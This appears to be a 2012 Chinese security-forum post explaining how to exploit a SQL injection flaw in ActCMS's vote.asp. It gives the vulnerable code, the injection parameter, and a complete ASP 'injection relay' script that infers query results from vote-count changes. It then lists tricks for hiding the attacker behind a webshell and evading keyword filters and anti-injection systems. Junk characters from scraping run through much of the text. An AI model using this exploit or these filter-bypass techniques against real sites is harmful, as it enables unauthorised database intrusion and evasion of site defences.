找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2332|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 i1 b+ u, @0 P
看到ninty大牛的blog的一篇文章# |6 k* B; l5 C5 d5 z3 J
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]. {* A; I! B( j7 F
关于actcms漏洞的利用  by 3x qq:381862589; l( h* c+ p; E8 I# o* E) S
转载请注明以上3 a& ?2 p+ w3 w! t& l3 v
漏洞文件:( a) G# K8 j6 g
/plus/vote/vote.asp/ U3 h  t8 d! A
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    - y% |& H8 o2 \% w; ]4 s& I
+ }+ ^1 l& }1 v5 J1 i
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
1 R0 T/ G; I2 A; c  a9 I1 O1 J  ]5 }1 X; k6 ~; x7 J( f
3    response.end   
, U' t& T+ Y1 ~: q3 i" K: }5 B  d! ?) _
4    end if    - f! d4 d: X& H
+ {7 w. v# F. g8 }& Z1 ^$ J
5    for i=1 to request("voted").count   
; q$ x; I% A& @  b; I2 v
9 o3 I+ N$ Q# x) @9 v) `6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    3 p8 }2 {, N3 V  D$ t, g# c

& _$ A( i7 z5 y# N7    next    $ e2 M) C! V; h- z* E; e* Y5 y

* B( R# v; j  Z0 F: G9 J5 \8....      M4 K8 r& _9 v! ^

0 }6 ?  }  a' _' v1 Q9response.Redirect "index.asp?id="&id&""   
, \( w* f( {8 P) q( W8 f* Q' y5 f- U* c投票结束回跳转回index.asp这个投票结果页面
: s4 q. F. |7 Y. Y* J- ~$ U- Z如果投票成功票数加1
  H" ?" F$ X# S6 J) S/ A( f, q( o            失败票数不变
# g: M3 [$ p5 U$ Q! ~  `如图:( m1 N1 L; V9 J
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
  ~9 Y, Q9 p% D4 h* h3 ]3 T8 z8 d' F  E4 s5 ?2 N' [( ?
2009-12-27 13:202 I3 [" C4 ~' k0 m2 B' p

4 g+ z9 k5 D% _4 ~1 r利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了. g# E) k7 j7 _+ {/ u" S
- p: c3 _, `9 W2 u7 o- P
本帖隐藏的内容需要回复才可以浏览+ C* e. a' E( V1 S, V4 ]- _- |
我们用注入中转来实现这个注入具体代码如下:
) D2 _  e( q3 g先用寂寞的刺猬大牛的注入中转生成jmget.asp
/ I' U+ M2 \: b% V& ?注入地址:http://localhost/actcms/plus/vote/vote.asp( C3 x+ o: y0 y( }, M& Y
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项5 k" q3 d4 i3 g( x

5 T" I& h  c2 x然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
% c% j5 F& c* a  ]
* {& X+ g0 C0 Y+ B, l02JmdcwName=request("jmdcw")
, i  y, M0 Q1 N: L9 x/ Q# b( O) w" ?
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ) g: P$ z3 Y9 B+ s) Y

8 X1 Y2 }( W8 g3 y, U04JmStr="id=1&voted=-1 or 1="&JmdcwName 2 H  e5 S" }- U

' Q( P# r8 y* t+ }% y+ S05JmStr=URLEncoding(JmStr) " H; q2 ~4 ]( ^& ]* c8 U
; T! b1 \' m5 Y
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"- d" p9 ?# u+ ?
* i+ }1 R9 p  A  t/ n
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp", M3 O% y' P- `( j/ |

+ Q2 F2 l& {6 n% D" Y08testurl=testurl & "?" & JmStr " U1 ^) h( Q+ T' f3 [, X

8 b4 Y" I1 Q+ l0 w09JMUrl=JMUrl & "?" & JmStr
; ~9 i9 n, m$ f, J$ v+ i  B2 y* e- F7 J; j; w+ ]  c
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"  I( ~; Z+ a9 H# p+ V) \

% [# U, C& f7 A. e11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
0 I/ M$ v- Q! J0 \* x# Z0 S
4 Z+ X3 R6 n2 m* g# Z12JmCok=replace(JmCok,chr(32),"%20")  
; t. r: k6 v5 G. c; T& k1 I5 o3 s1 {. h7 {& V# _
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" Y- P0 z: F7 @7 \: P6 `5 t
: y& D- d) c1 L8 }. L6 {, B+ r( ^14  5 j$ Q3 e/ |/ [; o

. o  _9 v6 d, o5 L* G15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
# z) A0 h1 f: L4 J) F( a1 \; n( K- ^) j9 R% J9 m
16  : c$ i2 E" B4 _$ b# C( }' R8 L

  S2 B' \3 ^1 `! y( T( z8 U; A4 {17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# j* `- F' Y0 N6 O/ R: O" w% q" Z# a  J3 u" Y3 c! w; E
18response.write test1&""&test2&""
! ~) |7 J4 D' ?( i; C! _" q, s+ l6 ^1 u+ Q  C, i& X
19  ! G: ]0 Y! j- r7 y
2 S! @" D/ S. {$ }( u
20if test1=test2 then '如前后记录相等,表示失败 , h9 d1 N* z8 d2 f( e( B9 x
: T3 f2 w7 c6 s$ _
21  response.write "failed"
8 X2 W/ [  r8 m5 G& D% R1 Y* B
9 x  R' ^+ N7 G( L" J22else
0 W8 s8 H3 P; H4 b! C
8 B# p' C1 l8 ], Y& K. e# o" p23  response.write "succeed"
2 W# z* z, q- V( R# C; X
% e' s; D9 Q4 e8 T24end if  . `9 K3 @+ ?0 C. [+ u) E( ^: G

/ m! e+ W& `$ J# d7 E% L; u25  
+ `% }8 n2 }1 P0 D0 ^
: S" |7 C/ ?6 z6 _# U26response.write "by 3x"
$ B% y# b. `5 l9 J' C, o6 Q3 d) m( U$ |7 v
27  & i0 L" h( S( h8 _8 ]6 S0 i1 S

9 P. ]8 s$ i7 R, y1 Z/ h28  6 ~* L9 P8 r: \0 H" J' x0 B
0 q4 x) R: h( Z
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
  b  ?4 H: U! b* v1 Q7 e: @- m# A% i2 Z5 D7 U8 P0 s/ U
30Dim Http . M. i$ n! j% H5 }- E4 d& k% r" r

: f' Z5 ~. X* a31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
! {( ^' X+ g6 K5 g" R) O, D' c' e% ~. @, w/ A
32With Http $ n4 F+ C4 N# D: G# T* u  r

2 u5 X" G! o, X33  8 L2 \1 Q8 i: d: Z

! H& x9 }4 [2 H9 L, v% p1 N34.Open "GET",PostUrl,False! a0 U/ n5 c% b) n: K

5 [4 q) {: O3 p& k7 ~$ t35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"" g" b( c5 H* L+ i+ j5 Q
% I9 ~7 d- v/ O0 G9 Q9 w# @7 Y
36.SetRequestHeader "Referer",PostRef
9 v$ v% p$ \4 O  n6 w- h2 p! O! ?1 J8 W  J/ C- }
37.SetRequestHeader "Cookie",PostCok $ }5 A3 Y* A6 n( m4 T
3 ?+ ^) D0 [. q
38.Send ()
, ^! F% t; G) }* I) ~. |' G. D
+ n: t) n, \/ t( j% a: `$ j39PostData = .ResponseBody
! ~" K8 ]! P# Y) B# u* T6 [3 V2 c+ i  t7 S
40End With
3 U* \% w8 M$ e
- T6 |0 f7 I+ P41Set Http = Nothing5 v* S8 D: t# W; q  j. U5 Q

* X8 p" F% W; j42PostData =bytes2BSTR(PostData) % u8 b* L: s! p8 h

  R1 Z2 g  }" Q1 `( K43End Function
+ A% V' c* f3 _7 P1 |/ N" J
6 E* x) {1 j& z! Z. Z8 k0 @% ?44  & \: f. F+ t3 |8 ?: ~5 K; t

6 S6 i1 v/ [3 e- g/ z! ?6 K45  5 @/ U% |7 n- m6 @$ U3 t7 S# J5 g

) I- h3 ~' m: u( |! j0 e; Y46Function bytes2BSTR(vIn) 4 T' z3 K# o0 T

0 a; Y) h$ N. S; m47Dim strReturn , o) j. l" K* S. ?! g
' U1 m0 r7 M3 c  T& ^
48Dim I, ThisCharCode, NextCharCode
. {1 [% H0 E) g- E) e8 H* w8 X9 G6 Z4 Y8 k! K5 V$ {- y
49strReturn = ""
5 I4 k3 q& U9 o- m4 S4 w+ e2 ?/ X6 s4 _8 G9 a7 R! L  M
50For I = 1 To LenB(vIn) - S: V8 L. Q- s, I( G
% m! z$ j" N' s$ |
51ThisCharCode = AscB(MidB(vIn, I, 1))
* J9 J2 P' J9 O2 M( |
+ B& V; x: B' R! z+ k52If ThisCharCode < &H80 Then
1 T4 S0 {* P: o( E1 v* o1 _+ K" O. b2 z) F
53strReturn = strReturn & Chr(ThisCharCode) $ E# k' [# g8 Q: [4 r
. J* X0 q  g$ x9 w
54Else; W* O* B; ]$ p
! H7 p6 ^8 R8 S. L
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
$ }! O$ h$ b. _+ V# p
' B( b8 V7 B/ k; A; J+ M56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) " x8 l1 F8 g' E! U4 H* B# p
  d/ z( P7 Y/ V# A6 J
57I = I + 1
. @0 U' Q! D- v& ~: C0 h* B7 o  G; L* a6 l1 O1 m8 |- H
58End If" O4 G' n6 O1 l/ r
8 e; |) Z# e5 _! }& L( r
59Next
5 t4 f3 k& R2 d, a  |, t  a! o  I, c4 v6 p0 f
60bytes2BSTR = strReturn
* e- W. D+ p3 \" @* c* I2 q  l6 H1 H
61End Function, E2 Q* ]: g4 I: s) K. x
7 w& y) ?0 i, ^: G2 X3 p9 t
62  
# s" n  ]6 J( m% D; ]4 v2 a" q4 n- f( D  k8 s
63Function URLEncoding(vstrin)  8 C+ K0 A# n% c  R

2 E: Y) A9 G1 n64strReturn=""
+ l7 c$ x4 r3 _2 j6 Q9 k. D$ ?& I" s1 S- V$ B, Z
65Dim i
. e, `+ S& r- t- i0 p- F/ K; S5 V7 g) U' A  ~
66For i=1 To Len(vstrin)
9 B4 Z" \4 ]  L
; r+ q+ b$ K5 B' M/ }% C67ThisChr=Mid(vstrin,i,1)
$ l* K, a9 D, y- p' [' o3 v6 P; c) |0 V8 e, E
68if Abs(Asc(ThisChr))< &HFF Then
  y! U+ P9 ]+ D! l/ y, [9 U: p" t1 Z
69strReturn=strReturn & ThisChr 7 v0 B5 r* c% k1 {8 N# p% y- B6 q

9 r, {( n3 j0 }' ]6 M70Else- E- W$ a" [6 q. d& g
* I8 e' U# j9 W% E3 `: O. K: a
71InnerCode=Asc(ThisChr) + J( W, k, P" T6 \7 U

  {8 ~$ ?( n; g! c72If InnerCode<0 Then
0 h/ k8 Q( }/ I3 K) I9 \' |3 B% h! Q' V. [
73InnerCode=InnerCode + &H10000
- H4 a' j+ b( T. h! b1 R, {
1 N% {0 _) c/ W1 P! D74End If: V, P$ r8 _6 @1 ^3 T4 o3 v) ?

6 \$ G& B" m4 H; ~0 K. _75Hight1=(InnerCode And &HFF00) \&HFF * T. {0 j% O9 R$ H
# @8 k: L; M7 C7 A% Q0 {
76Low1=InnerCode And &HFF 3 U+ D8 K* }6 j# g) p, B
! E. [( O. y/ D+ B2 @2 [  |/ L5 g
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) / O. k1 I' t6 u9 \0 X* m/ o! a

. Y& @" ?/ J5 J* e5 U& [78End if . q" Q7 r. n. i6 r% o% n4 M! |4 m3 t

) [1 _6 L/ p% ], @: W2 g79Next, k( ~1 _3 r: I' [: U

! f9 F! h: L* ~/ N  d80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
* q5 s4 o, P, p2 N0 T- j3 m
5 y; p- ]# I" c! a: t& j6 s81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
* L" R8 z) A8 @0 N+ @
  G! S# Y5 g, l5 N' }7 E82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
; A/ b% }' l0 v6 R1 B0 B
0 Y2 _+ |! U4 U0 c+ L- Y! o83URLEncoding=strReturn ( Z2 B, l" R3 v( G7 Q8 D- t
7 L. X% n# U* ~8 \/ }
84End Function2 Q. a3 g& A) R6 t! \- ?1 Y

, O( U( D: C3 b( f- X85  ; p9 j! Z# ^1 b9 E3 t
& y! J0 i  ]' V( R" Y! u7 m
86function getSt(body) 7 o3 A" V2 v2 I0 ~8 i( @' C
7 ^" M. w. V- Z5 X+ t
87  startpot=instr(body,"投票人数:")+len("投票人数:")
- ]( I- P! w7 r% J" m$ Z: D( a5 D
88  endpot=instr(startpot,body," ")
7 B1 E  b6 [: [2 s) C
1 Q* \& o4 @4 k  D! l6 u& @! ]89  getSt=mid(body,startpot,endpot-startpot)
1 q% _  ]+ h$ T- J. U4 t
4 E3 V" [+ Q* D90end function . S/ ?7 T2 U* j
+ Q0 m" W. n+ b# E- h9 s
91%>
* c4 \) ]' B: V9 B注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了- G" I+ I/ u$ i/ ]
测试下效果:
' N- b: ~4 s* {" V投票成功:" r& s# B! k# c1 R3 t( Z
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)+ z  M5 T3 |" ~4 G) R' F
$ B# f& d, F0 Z% a# ^- i+ }$ S
2009-12-27 13:29, O! e8 y1 F  ]  @+ A
投票失败
5 Y! A: i7 A5 E; `$ C. U% Y4 T9 \http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)6 O8 X/ h. C* R' ?6 T
, Q5 Q( D. u( W, t
2009-12-27 13:29
1 j8 M0 U9 t' Y* }5 b& X- H4 ~( B/ ?-------------------------------------------------------------------------------' `* B' O, m+ E- c
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
( {1 b4 }* Q4 k  g  s很抱歉。。。只能用单线程工具去注入。。。。。* E$ R2 E; q0 p" D  d2 f
所以失败。。。不好意思。。。
1 R" b* e- }4 n+ ~1 _4 T-------------------------------------------------------------------------------. Q5 \3 \+ y& A5 G: I" }

4 e3 R6 I3 T5 t% w& {4 \/ N注入中转的一些其他应用
1 U) h) X% |* L( i其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了7 Y* c% J9 k$ a1 z+ M0 c& L
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
3 U! X  r: t0 U6 Z- U* V0 Y! D2.post注入转成get型的注入,方便我们使用工具来跑+ K6 g$ A- ~: M, q8 D! l5 V
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")- D' Q+ j. p( Y- g6 _9 _  ^! D# p8 ?
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过) e4 A5 z* [) k/ \* m. R
( ~0 q9 E; r  C! S$ ]; x! V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表